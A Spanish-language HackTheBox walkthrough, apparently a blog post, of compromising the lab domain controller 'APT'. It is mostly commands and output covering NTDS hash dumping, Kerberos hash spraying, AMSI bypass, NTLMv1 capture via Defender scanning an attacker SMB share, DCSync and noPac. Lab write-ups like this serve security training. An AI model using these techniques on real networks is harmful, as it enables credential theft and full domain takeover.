xchg2pwn

xchg2pwn


Entusiasta del reversing y desarrollo de exploits



HackTheBox

APT



Enumeración


Iniciamos la máquina escaneando los puertos de la máquina con nmap donde encontramos solo 2 puertos abiertos, el 80 que es http y el 135 que es rpc

❯ nmap 10.10.10.213
Nmap scan report for 10.10.10.213  
PORT    STATE SERVICE
80/tcp  open  http
135/tcp open  msrpc

En la web principal tenemos una pagina bajo el template de Gigantic Hosting la cual parece bastante estatica con solo algunos botones que responden al clic

Al darle al boton support nos permite indicar y enviar algunos datos de contacto

Pero al enviar los datos nos redirige hacia la 10.13.38.16 que realmente tiene sentido ya que el template es igual que el del endgame Hades con la misma estetica

En este articulo se nos explica una posible forma de enumerar las interfaces de red a traves de rpc sin autenticacion usando ServerAlive2(), nos dan un script que al ejecutarlo nos muestra todas las interfaces de la máquina, tanto IPv4 como IPv6

❯ python3 IOXIDResolver.py -t 10.10.10.213
[*] Retrieving network interface of 10.10.10.213  
Address: apt
Address: 10.10.10.213
Address: dead:beef::b885:d62a:d679:573f
Address: dead:beef::199
Address: dead:beef::e58d:ef7c:9919:25cc

Al escanear los puertos de la dirección IPv6 de la maquina encontramos abiertos bastantes mas puertos, entre ellos los clasicos puertos que tendria un DC

❯ nmap -6 dead:beef::b885:d62a:d679:573f
Nmap scan report for dead:beef::b885:d62a:d679:573f  
PORT      STATE SERVICE
53/tcp    open  domain
80/tcp    open  http
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
389/tcp   open  ldap
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl
5985/tcp  open  wsman
9389/tcp  open  adws
47001/tcp open  winrm
49664/tcp open  unknown
49665/tcp open  unknown
49666/tcp open  unknown
49667/tcp open  unknown
49669/tcp open  unknown
49670/tcp open  unknown
49673/tcp open  unknown
49688/tcp open  unknown

Vemos abierto el 445 que es smb, con crackmapexec podemos enumerar un poco, encontramos que pertenece al dominio htb.local y el nombre de la maquina apt

❯ crackmapexec smb dead:beef::b885:d62a:d679:573f
SMB         dead:beef::b885:d62a:d679:573f 445    APT              [*] Windows Server 2016 Standard 14393 x64 (name:APT) (domain:htb.local) (signing:True) (SMBv1:True)  

Para posibles proximos ataques o solo por comodidad agregaremos el dominio al /etc/hosts ademas el nombre de la máquina que es APT como otro dominio

❯ echo "dead:beef::b885:d62a:d679:573f htb.local apt.htb.local" | sudo tee -a /etc/hosts  


Access - henry.vinson


Podemos enumerar los recursos smb bajo una sesion nula sin proporcionar usuario ni contraseña, vemos que tenemos privilegio READ sobre el recurso backup

❯ crackmapexec smb htb.local -u '' -p '' --shares
SMB         htb.local       445    APT              [*] Windows Server 2016 Standard 14393 x64 (name:APT) (domain:htb.local) (signing:True) (SMBv1:True)  
SMB         htb.local       445    APT              [+] htb.local\: 
SMB         htb.local       445    APT              [+] Enumerated shares
SMB         htb.local       445    APT              Share           Permissions     Remark
SMB         htb.local       445    APT              -----           -----------     ------
SMB         htb.local       445    APT              backup          READ            
SMB         htb.local       445    APT              IPC$                            Remote IPC
SMB         htb.local       445    APT              NETLOGON                        Logon server share
SMB         htb.local       445    APT              SYSVOL                          Logon server share

Al conectarnos con smbclient solo encontramos un backup.zip que descargamos

❯ impacket-smbclient htb.local -no-pass
Impacket v0.11.0 - Copyright 2023 Fortra

Type help for list of commands
# use backup
# ls
drw-rw-rw-          0  Thu Sep 24 02:31:03 2020 .
drw-rw-rw-          0  Thu Sep 24 02:31:03 2020 ..
-rw-rw-rw-   10650961  Thu Sep 24 02:31:03 2020 backup.zip  
# get backup.zip
#

Si intentamos descomprimir el zip nos pide una contraseña ya que esta protegido

❯ unzip backup.zip
Archive:  backup.zip
   creating: Active Directory/
[backup.zip] Active Directory/ntds.dit password:  

Usando zip2john podemos crear un hash del zip que podemos crackear con john

❯ zip2john backup.zip > hash

❯ john -w:/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt hash  
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Press 'q' or Ctrl-C to abort, almost any other key for status
iloveyousomuch   (backup.zip)
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

Al descomprimir el zip y pasarle la contraseña nos devuelve varios archivos, entre ellos SYSTEM, SECURITY y ntds.dit que almacenan contraseñas y hashes

❯ unzip backup.zip
Archive:  backup.zip
   creating: Active Directory/
[backup.zip] Active Directory/ntds.dit password: iloveyousomuch  
  inflating: Active Directory/ntds.dit
  inflating: Active Directory/ntds.jfm
   creating: registry/
  inflating: registry/SECURITY
  inflating: registry/SYSTEM

Si en local dumpeamos los secretos LSA encontramos una contraseña en texto plano

❯ impacket-secretsdump LOCAL -system registry/SYSTEM -security registry/SECURITY
Impacket v0.11.0 - Copyright 2023 Fortra

[*] Target system bootKey: 0x936ce5da88593206567f650411e1d16b
[*] Dumping cached domain logon information (domain/username:hash)
[*] Dumping LSA Secrets
[*] $MACHINE.ACC 
$MACHINE.ACC:plain_password_hex:34005b00250066006f0027007a004700600026004200680052003300630050005b002900550032004e00560053005c004c00450059004f002f0026005e0029003c00390078006a0036002500230039005c005c003f0075004a0034005900500062006000440052004b00220020004900450053003200660058004b00220066002c005800280051006c002a0066006700300052006600520071003d0021002c004200650041005600460074005e0045005600520052002d004c0029005600610054006a0076002f005100470039003d006f003b004700400067003e005600610062002d00550059006300200059006400  
$MACHINE.ACC: aad3b435b51404eeaad3b435b51404ee:b300272f1cdab4469660d55fe59415cb
[*] DefaultPassword 
(Unknown User):Password123!
[*] DPAPI_SYSTEM 
dpapi_machinekey:0x3e0d78cb8f3ed66196584c44b5701501789fc102
dpapi_userkey:0xdcde3fc585c430a72221a48691fb202218248d46
[*] NL$KM 
 0000   73 4F 34 1D 09 C8 F9 32  23 B9 25 0B DF E2 DC 58   sO4....2#.%....X
 0010   44 41 F2 E0 C0 93 CF AD  2F 2E EB 13 81 77 4B 42   DA....../....wKB
 0020   C2 E0 6D DE 90 79 44 42  F4 C2 AD 4D 7E 3C 6F B2   ..m..yDB...M~

Tambien tenemos el ntds.dit que contiene todos loas hashes de todos los usuarios del dominio los cuales tambien podemos dumpear con secretsdump

❯ impacket-secretsdump LOCAL -ntds 'Active Directory/ntds.dit' -system 'registry/SYSTEM'
Impacket v0.11.0 - Copyright 2023 Fortra

[*] Target system bootKey: 0x936ce5da88593206567f650411e1d16b
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Searching for pekList, be patient
[*] PEK # 0 found and decrypted: 1733ad403c773dde94dddffa2292ffe9
[*] Reading and decrypting hashes from Active Directory/ntds.dit 
Administrator:500:aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
APT$:1000:aad3b435b51404eeaad3b435b51404ee:b300272f1cdab4469660d55fe59415cb:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:72791983d95870c0d6dd999e4389b211:::
jeb.sloan:3200:aad3b435b51404eeaad3b435b51404ee:9ea25adafeec63e38cef4259d3b15c30:::
ranson.mejia:3201:aad3b435b51404eeaad3b435b51404ee:3ae49ec5e6fed82ceea0dc2be77750ab:::
unice.daugherty:3202:aad3b435b51404eeaad3b435b51404ee:531c98e26cfa3caee2174af495031187:::
kazuo.deleon:3203:aad3b435b51404eeaad3b435b51404ee:fde29e6cb61b4f7fda1ad5cd2759329d:::
dacy.frederick:3204:aad3b435b51404eeaad3b435b51404ee:51d368765462e9c5aebc456946d8dc86:::
.........................................................................................  

Podriamos probar el hash NT del usuario Administrator el cual realmente pertenece a la contraseña Password123! en el lsa no es valida para smb a nivel de dominio

❯ crackmapexec smb htb.local -u Administrator -H 2b576acbe6bcfda7294d6bd18041b8fe
SMB         htb.local       445    APT              [*] Windows Server 2016 Standard 14393 x64 (name:APT) (domain:htb.local) (signing:True) (SMBv1:True)  
SMB         htb.local       445    APT              [-] htb.local\Administrator:2b576acbe6bcfda7294d6bd18041b8fe STATUS_LOGON_FAILURE

Podemos iniciar dumpeando todos los hashes a un txt, filtrando por ::: ya que todos los hashes tendran eso al final, en total conseguimos 2000 hashes y usuarios

❯ impacket-secretsdump LOCAL -ntds 'Active Directory/ntds.dit' -system 'registry/SYSTEM' | grep ::: > dump.txt  

❯ wc -l dump.txt
2000 dump.txt

Con awk podemos filtrar por el argumento 1 y 4 tomando : como delimitador que pertenecen a los usuarios y hashes nt para crear un diccionario para cada uno

❯ awk '{print $1}' FS=':' dump.txt > users.txt  
❯ awk '{print $4}' FS=':' dump.txt > hashes.txt  

Iniciamos validando los usuarios existentes en el dominio con kerbrute, ademas de la cuenta de Administrator y de la maquina APT$ encontramos a henry.vinson

❯ kerbrute userenum -d htb.local --dc apt.htb.local users.txt  
    __             __               __     
   / /_____  _____/ /_  _______  __/ /____ 
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/

>  Using KDC(s):
>  	apt.htb.local:88

>  [+] VALID USERNAME:	 APT$@htb.local
>  [+] VALID USERNAME:	 Administrator@htb.local
>  [+] VALID USERNAME:	 henry.vinson@htb.local

Ya que el hash propio no funciona podriamos probar hacer fuerza bruta con los 2000 hashes pero despues de unas cuantas peticiones recibimos un baneo por ello

❯ crackmapexec smb htb.local -u henry.vinson -H hashes.txt
SMB         htb.local       445    APT              [*] Windows Server 2016 Standard 14393 x64 (name:APT) (domain:htb.local) (signing:True) (SMBv1:True)  
SMB         htb.local       445    APT              [-] htb.local\henry.vinson:2b576acbe6bcfda7294d6bd18041b8fe STATUS_LOGON_FAILURE 
SMB         htb.local       445    APT              [-] htb.local\henry.vinson:31d6cfe0d16ae931b73c59d7e0c089c0 STATUS_LOGON_FAILURE 
SMB         htb.local       445    APT              [-] htb.local\henry.vinson:31d6cfe0d16ae931b73c59d7e0c089c0 STATUS_LOGON_FAILURE 
SMB         htb.local       445    APT              [-] Connection Error: The NETBIOS connection with the remote host timed out.
SMB         htb.local       445    APT              [-] Connection Error: The NETBIOS connection with the remote host timed out.

En github encontramos un proyecto el cual nos sirve para haces un hashspray pero a traves de kerberos que no tiene la limitacion de peticiones como lo tiene smb

❯ python3 KerbSpray.py htb.local henry.vinson apt.htb.local hashes.txt  
[*] Spraying Hashes...

[i] Domain:             htb.local
[i] Target User:        henry.vinson
[i] Domain Controller:  apt.htb.local
[+] Success htb.local/henry.vinson
[+] Hash Found: e53d87d42adaa3ca32bdb34a876cbffb

Despues de un rato encontramos su hash NT que comprobamos con crackmapexec

❯ crackmapexec smb htb.local -u henry.vinson -H e53d87d42adaa3ca32bdb34a876cbffb
SMB         htb.local       445    APT              [*] Windows Server 2016 Standard 14393 x64 (name:APT) (domain:htb.local) (signing:True) (SMBv1:True)  
SMB         htb.local       445    APT              [+] htb.local\henry.vinson:e53d87d42adaa3ca32bdb34a876cbffb


Shell - henry.vinson_adm


En este caso desde este usuario podemos acceder a los registros HKEY_USERS o HKU a traves de reg, donde encontramos varias subkeys entre ellas Software

❯ impacket-reg htb.local/henry.vinson@apt.htb.local -hashes :e53d87d42adaa3ca32bdb34a876cbffb query -keyName HKU  
Impacket v0.11.0 - Copyright 2023 Fortra

[!] Cannot check RemoteRegistry status. Hoping it is started...
HKU
HKU\Console
HKU\Control Panel
HKU\Environment
HKU\Keyboard Layout
HKU\Network
HKU\Software
HKU\System
HKU\Volatile Environment

Bajo la subkey Software encontramos una bastante fuera de lo comun que es GiganticHostingManagementSystem en la cual podria haber cosas interesantes

❯ impacket-reg htb.local/henry.vinson@apt.htb.local -hashes :e53d87d42adaa3ca32bdb34a876cbffb query -keyName 'HKU\Software'  
Impacket v0.11.0 - Copyright 2023 Fortra

[!] Cannot check RemoteRegistry status. Hoping it is started...
HKU\Software
HKU\Software\GiganticHostingManagementSystem
HKU\Software\Microsoft
HKU\Software\Policies
HKU\Software\RegisteredApplications
HKU\Software\Sysinternals
HKU\Software\VMware, Inc.
HKU\Software\Wow6432Node
HKU\Software\Classes

Al hacer una consulta con reg encontramos unas credenciales en texto plano

❯ impacket-reg htb.local/henry.vinson@apt.htb.local -hashes :e53d87d42adaa3ca32bdb34a876cbffb query -keyName 'HKU\Software\GiganticHostingManagementSystem'  
Impacket v0.11.0 - Copyright 2023 Fortra

[!] Cannot check RemoteRegistry status. Hoping it is started...
HKU\Software\GiganticHostingManagementSystem
	UserName	REG_SZ	 henry.vinson_adm
	PassWord	REG_SZ	 G1#Ny5@2dvht

Podemos comprobar las credenciales de henry.vinson_adm con crackmapexec, esta contraseña no es valida solo para el servicio smb sino tambien para winrm

❯ crackmapexec smb htb.local -u henry.vinson_adm -p G1#Ny5@2dvht
SMB         htb.local       445    APT              [*] Windows Server 2016 Standard 14393 x64 (name:APT) (domain:htb.local) (signing:True) (SMBv1:True)  
SMB         htb.local       445    APT              [+] htb.local\henry.vinson_adm:G1#Ny5@2dvht 

❯ crackmapexec winrm htb.local -u henry.vinson_adm -p G1#Ny5@2dvht
SMB         htb.local       5985   APT              [*] Windows 10.0 Build 14393 (name:APT) (domain:htb.local)
HTTP        htb.local       5985   APT              [*] http://hackthebox.local:5985/wsman
WINRM       htb.local       5985   APT              [+] htb.local\henry.vinson_adm:G1#Ny5@2dvht (Pwn3d!)

Simplemente nos conectamos como evil-winrm y obtenemos una powershell

❯ evil-winrm -i htb.local -u henry.vinson_adm -p G1#Ny5@2dvht
PS C:\Users\henry.vinson_adm\Documents> whoami
htb\henry.vinson_adm
PS C:\Users\henry.vinson_adm\Documents> type ..\Desktop\user.txt  
8e6**************************56e
PS C:\Users\henry.vinson_adm\Documents>


Shell - Administrator


Para enumerar posibles vias en la maquina podriamos subir winpeas sin embargo tenemos una limitacion y es el antivirus que lo detecta y no nos permite ejecutarlo

PS C:\Users\henry.vinson_adm\Documents> upload winpeas.exe

Info: Uploading winpeas.exe to C:\Users\henry.vinson_adm\Documents\winpeas.exe

Data: 3166888 bytes of 3166888 bytes copied

Info: Upload successful!

PS C:\Users\henry.vinson_adm\Documents> .\winpeas.exe
Program 'winpeas.exe' failed to run: Operation did not complete successfully because the file contains a virus or potentially unwanted softwareAt line:1 char:1
+ .\winpeas.exe
+ ~~~~~~~~~~~~~.
At line:1 char:1
+ .\winpeas.exe
+ ~~~~~~~~~~~~~
    + CategoryInfo          : ResourceUnavailable: (:) [], ApplicationFailedException
    + FullyQualifiedErrorId : NativeCommandFailed
PS C:\Users\henry.vinson_adm\Documents>

Podemos aprovechar las funciones de evil-winrm para bypassearlo iniciando con Bypass-4MSI para parchear el amsi y Invoke-Binary para ejecutarlo desde fuera

PS C:\Users\henry.vinson_adm\Documents> Bypass-4MSI

Info: Patching 4MSI, please be patient...

[+] Success!

PS C:\Users\henry.vinson_adm\Documents> Invoke-Binary /home/kali/winpeas.exe  

En las configuraciones ntlm nos dice que la maquina usa NTLMv1 para autenticarse

╔══════════╣ Enumerating NTLM Settings
  LanmanCompatibilityLevel    : 2 (Send NTLM response only)

  NTLM Signing Settings
      ClientRequireSigning    : False
      ClientNegotiateSigning  : True
      ServerRequireSigning    : True
      ServerNegotiateSigning  : True
      LdapSigning             : Negotiate signing (Negotiate signing)

  Session Security
      NTLMMinClientSec        : 536870912 (Require 128-bit encryption)  
        [!] NTLM clients support NTLMv1!
      NTLMMinServerSec        : 536870912 (Require 128-bit encryption)  
        [!] NTLM services on this machine support NTLMv1!

  NTLM Auditing and Restrictions
      InboundRestrictions     :  (Not defined)
      OutboundRestrictions    :  (Not defined)
      InboundAuditing         :  (Not defined)
      OutboundExceptions      :

Para adaptarnos a crackers mas conocidos que tiran de tablas precomputadas como crack.sh el Challenge de responder lo modificaremos a 1122334455667788

❯ grep Challenge /etc/responder/Responder.conf  
Challenge = 1122334455667788

Ahora con responder nos ponemos en escucha de trafico indicando la interfaz tun0 y con el parametro --lm para forzar el downgrade hacia las versiones antiguas

❯ sudo responder -I tun0 --lm
                                         __
  .----.-----.-----.-----.-----.-----.--|  |.-----.----.
  |   _|  -__|__ --|  _  |  _  |     |  _  ||  -__|   _|  
  |__| |_____|_____|   __|_____|__|__|_____||_____|__|
                   |__|

           NBT-NS, LLMNR & MDNS Responder 3.1.3.0

[+] Listening for events...

Aprovechando el antivirus podemos hacer un escaneo a un archivo especifico usando MpCmdRun.exe apuntando a un recurso SMB que lleve a nuestro host

PS C:\Program Files\Windows Defender> .\MpCmdRun.exe -Scan -ScanType 3 -File \\10.10.14.10\kali\test.txt  
PS C:\Program Files\Windows Defender>

Volvemos al responder en escucha y podemos ver que el equipo APT$ ha realizado una autenticación hacia nuestro host y recibimos su hash en el formato NTLMv1

❯ sudo responder -I tun0 --lm
                                         __
  .----.-----.-----.-----.-----.-----.--|  |.-----.----.
  |   _|  -__|__ --|  _  |  _  |     |  _  ||  -__|   _|
  |__| |_____|_____|   __|_____|__|__|_____||_____|__|
                   |__|

           NBT-NS, LLMNR & MDNS Responder 3.1.3.0

[+] Listening for events...

[SMB] NTLMv1 Client   : 10.10.10.213
[SMB] NTLMv1 Username : HTB\APT$
[SMB] NTLMv1 Hash     : APT$::HTB:95ACA8C7248774CB427E1AE5B8D5CE6830A49B5BB858D384:95ACA8C7248774CB427E1AE5B8D5CE6830A49B5BB858D384:1122334455667788  

Ya que la fuerza bruta probablemente nos tomaria dias, tiraremos de crack.sh, indicandole nuestro correo y pasandole nuestro hash en el siguiente formato

NTHASH:95ACA8C7248774CB427E1AE5B8D5CE6830A49B5BB858D384  

Pasados unos minutos recibiremos un correo de crack.sh con los resultados de la petición, donde ha logrado conseguir el hash NT con nuestro input que enviamos

Ya que la máquina APT$ tiene privilegios DCSync sobre el dominio al ser el DC podemos hacerlo directamente con crackmapexec para ver todos los hashes NT

❯ crackmapexec smb htb.local -u APT$ -H d167c3238864b12f5f82feae86a7f798 --ntds drsuapi
SMB         htb.local       445    APT              [*] Windows Server 2016 Standard 14393 x64 (name:APT) (domain:htb.local) (signing:True) (SMBv1:True)  
SMB         htb.local       445    APT              [+] htb.local\APT$:d167c3238864b12f5f82feae86a7f798
SMB         htb.local       445    APT              [-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
SMB         htb.local       445    APT              [+] Dumping the NTDS, this could take a while so go grab a redbull...
SMB         htb.local       445    APT              Administrator:500:aad3b435b51404eeaad3b435b51404ee:c370bddf384a691d811ff3495e8a72e2:::
SMB         htb.local       445    APT              Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
SMB         htb.local       445    APT              krbtgt:502:aad3b435b51404eeaad3b435b51404ee:738f00ed06dc528fd7ebb7a010e50849:::
SMB         htb.local       445    APT              DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
SMB         htb.local       445    APT              henry.vinson:1105:aad3b435b51404eeaad3b435b51404ee:e53d87d42adaa3ca32bdb34a876cbffb:::
SMB         htb.local       445    APT              henry.vinson_adm:1106:aad3b435b51404eeaad3b435b51404ee:4cd0db9103ee1cf87834760a34856fef:::
SMB         htb.local       445    APT              APT$:1001:aad3b435b51404eeaad3b435b51404ee:d167c3238864b12f5f82feae86a7f798:::

Con el hash de Administrator podemos simplemente conectarnos con evil-winrm

❯ evil-winrm -i htb.local -u Administrator -H c370bddf384a691d811ff3495e8a72e2  
PS C:\Users\Administrator\Documents> whoami
htb\administrator
PS C:\Users\Administrator\Documents> type ..\Desktop\root.txt
b65**************************9b1
PS C:\Users\Administrator\Documents>


Extra - Administrator


Como alternativa podemos usar noPac donde aunque el parametro -shell no funcionará por la limitacion IPv6 si que nos crea un ticket como Administrator

❯ python3 noPac.py htb.local/henry.vinson_adm:G1#Ny5@2dvht

███    ██  ██████  ██████   █████   ██████
████   ██ ██    ██ ██   ██ ██   ██ ██
██ ██  ██ ██    ██ ██████  ███████ ██
██  ██ ██ ██    ██ ██      ██   ██ ██
██   ████  ██████  ██      ██   ██  ██████

[*] Current ms-DS-MachineAccountQuota = 999
[-] Resolved Failed: The DNS query name does not exist: apt.htb.local.
[*] Selected Target apt.htb.local
[*] Total Domain Admins 1
[*] will try to impersonate Administrator
[*] Adding Computer Account "WIN-ZYHECMXKONN$"
[*] MachineAccount "WIN-ZYHECMXKONN$" password = I)FewTxu4du0
[*] Successfully added machine account WIN-ZYHECMXKONN$ with password I)FewTxu4du0.
[*] WIN-ZYHECMXKONN$ object = CN=WIN-ZYHECMXKONN,CN=Computers,DC=htb,DC=local
[*] WIN-ZYHECMXKONN$ sAMAccountName == apt
[*] Saving a DC's ticket in apt.ccache
[*] Reseting the machine account to WIN-ZYHECMXKONN$
[*] Restored WIN-ZYHECMXKONN$ sAMAccountName to original value
[*] Using TGT from cache
[*] Impersonating Administrator
[*]     Requesting S4U2self
[*] Saving a user's ticket in Administrator.ccache
[*] Rename ccache to Administrator_apt.htb.local.ccache
[*] Attempting to del a computer with the name: WIN-ZYHECMXKONN$
[-] Delete computer WIN-ZYHECMXKONN$ Failed! Maybe the current user does not have permission.  

Podemos usar el ticket para autenticarnos y con crackmapexec autenticandonos por kerberos como somos Administrator podemos dumpear nuevamente el ntds.dit

❯ export KRB5CCNAME=Administrator_apt.htb.local.ccache

❯ crackmapexec smb htb.local -k --use-kcache --ntds drsuapi
SMB         htb.local       445    APT              [*] Windows Server 2016 Standard 14393 x64 (name:APT) (domain:htb.local) (signing:True) (SMBv1:True)  
SMB         htb.local       445    APT              [+] htb.local\Administrator from ccache (Pwn3d!)
SMB         htb.local       445    APT              [+] Dumping the NTDS, this could take a while so go grab a redbull...
SMB         htb.local       445    APT              Administrator:500:aad3b435b51404eeaad3b435b51404ee:c370bddf384a691d811ff3495e8a72e2:::
SMB         htb.local       445    APT              Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
SMB         htb.local       445    APT              krbtgt:502:aad3b435b51404eeaad3b435b51404ee:738f00ed06dc528fd7ebb7a010e50849:::
SMB         htb.local       445    APT              DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
SMB         htb.local       445    APT              henry.vinson:1105:aad3b435b51404eeaad3b435b51404ee:e53d87d42adaa3ca32bdb34a876cbffb:::
SMB         htb.local       445    APT              henry.vinson_adm:1106:aad3b435b51404eeaad3b435b51404ee:4cd0db9103ee1cf87834760a34856fef:::
SMB         htb.local       445    APT              APT$:1001:aad3b435b51404eeaad3b435b51404ee:d167c3238864b12f5f82feae86a7f798:::
SMB         htb.local       445    APT              WIN-ZYHECMXKONN$:5604:aad3b435b51404eeaad3b435b51404ee:6a1c6494d5e17e081219b6ebdac76026:::

Con el hash de Administrator podemos simplemente conectarnos con evil-winrm

❯ evil-winrm -i htb.local -u Administrator -H c370bddf384a691d811ff3495e8a72e2  
PS C:\Users\Administrator\Documents> whoami
htb\administrator
PS C:\Users\Administrator\Documents> type ..\Desktop\root.txt
b65**************************9b1
PS C:\Users\Administrator\Documents>